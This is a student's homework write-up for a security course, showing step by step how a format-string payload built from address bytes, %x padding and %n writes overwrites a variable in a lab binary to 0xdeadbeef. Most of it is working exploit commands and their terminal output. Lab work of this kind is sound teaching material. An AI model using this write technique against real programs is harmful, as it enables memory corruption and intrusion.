ᔆCSCI 4250 Homework 1

David Luo

```
./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n%305x%n
```

ᔆMy experience

Overall I feel that this assigment was pretty managable once I got over a few hurdles. The first was realizing that I forgot to increase the memory addresses for `test_val` in my payload. The second was using a value `0x100` greater than the value I was trying to obtain to do the math for how many buffer bytes I needed.

ᔆSteps

1. Find location of format string.

```
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln AAAA.$(python -c "print('%08x.'*20)")
The right way to print user-controlled input:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
AAAA.ffeeedac.00000174.00000174.00000174.00000044.00000044.ffeef264.00000004.00000007.001ad23c.41414141.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.
[*] test_val @ 0x0804a030 = -72 0xffffffb8
try again!

ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln AAAA.$(python -c "print('%08x.'*11)")
The right way to print user-controlled input:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
AAAA.fffe3e6c.00000174.00000174.00000174.00000044.00000044.fffe4324.00000004.00000007.001ad23c.41414141.
[*] test_val @ 0x0804a030 = -72 0xffffffb8
try again!

ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08")$(python -c "print('%08x.'*11)")
The right way to print user-controlled input:
0%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
0ff8a003c.00000174.00000174.00000174.00000044.00000044.ff8a04f4.00000004.00000007.001ad23c.0804a030.
[*] test_val @ 0x0804a030 = -72 0xffffffb8
try again!

ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%x%x
The right way to print user-controlled input:
0%x%x%x%x%x%x%x%x%x%x%x
The wrong way to print user-controlled input:
0ffd3897c1741741744444ffd38e34471ad23c804a030
[*] test_val @ 0x0804a030 = -72 0xffffffb8
try again!
```

2. Try overwriting `test_val`.

```
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%x%n
The right way to print user-controlled input:
0%x%x%x%x%x%x%x%x%x%x%n
The wrong way to print user-controlled input:
0ff8e7efc1741741744444ff8e83b4471ad23c
[*] test_val @ 0x0804a030 = 41 0x00000029
try again!
```

3. Try overwriting the memory addresses of `test_val`.

```
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%x%8x%n
The right way to print user-controlled input:
0____1____2____3%x%x%x%x%x%x%x%x%x%x%8x%n
The wrong way to print user-controlled input:
0____1____2____3ffdbbecc1741741744444ffdbc38447  1ad23c
[*] test_val @ 0x0804a030 = 67 0x00000043
try again!
```

4. Overwrite the last two digits using `0xef` - `67` + `8` bytes of padding.

```
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%180x%n
The right way to print user-controlled input:
0____1____2____3%x%x%x%x%x%x%x%x%x%180x%n
The wrong way to print user-controlled input:
0____1____2____3ffb8138c1741741744444ffb8184447
[*] test_val @ 0x0804a030 = 239 0x000000ef
try again!
```

5. Overwrite next two using 0x1be - 0xef bytes of padding.

```
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%180x%n%207x%n
The right way to print user-controlled input:
0____1____2____3%x%x%x%x%x%x%x%x%x%180x%n%207x%n
The wrong way to print user-controlled input:
0____1____2____3fffc79ac1741741744444fffc7e6447
[*] test_val @ 0x0804a030 = 114415 0x0001beef
try again!
```

6. Repeat for ad and de.

```
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n
The right way to print user-controlled input:
0____1____2____3%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n
The wrong way to print user-controlled input:
0____1____2____3ffc9af9c1741741744444ffc9b45447
[*] test_val @ 0x0804a030 = 44941039 0x02adbeef
try again!

ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n%305x%n
The right way to print user-controlled input:
0____1____2____3%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n%305x%n
The wrong way to print user-controlled input:
0____1____2____3ffbc591c1741741744444ffbc5dd447
[*] test_val @ 0x0804a030 = -559038737 0xdeadbeef
you win!
```

```
ubuntu@ubuntu-vm: ~/csci4250-hw1                                              —  □  ✕
ubuntu@ubuntu-vm:~/csci4250-hw1$ ./fmt_vuln $(printf "\x30\xa0\x04\x08____\x31\xa0\x04\x08____\x32\xa0\x04\x08____\x33\xa0\x04\x08")
%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n%305x%n
The right way to print user-controlled input:
0____1____2____3%x%x%x%x%x%x%x%x%x%180x%n%207x%n%239x%n%305x%n
The wrong way to print user-controlled input:
0____1____2____3ffd719fc1741741744444ffd71eb447
                                                                    1ad23c

                        5f5f5f5f

    5f5f5f5f

                                                5f5f5f5f
[*] test_val @ 0x0804a030 = -559038737 0xdeadbeef
you win!
ubuntu@ubuntu-vm:~/csci4250-hw1$
```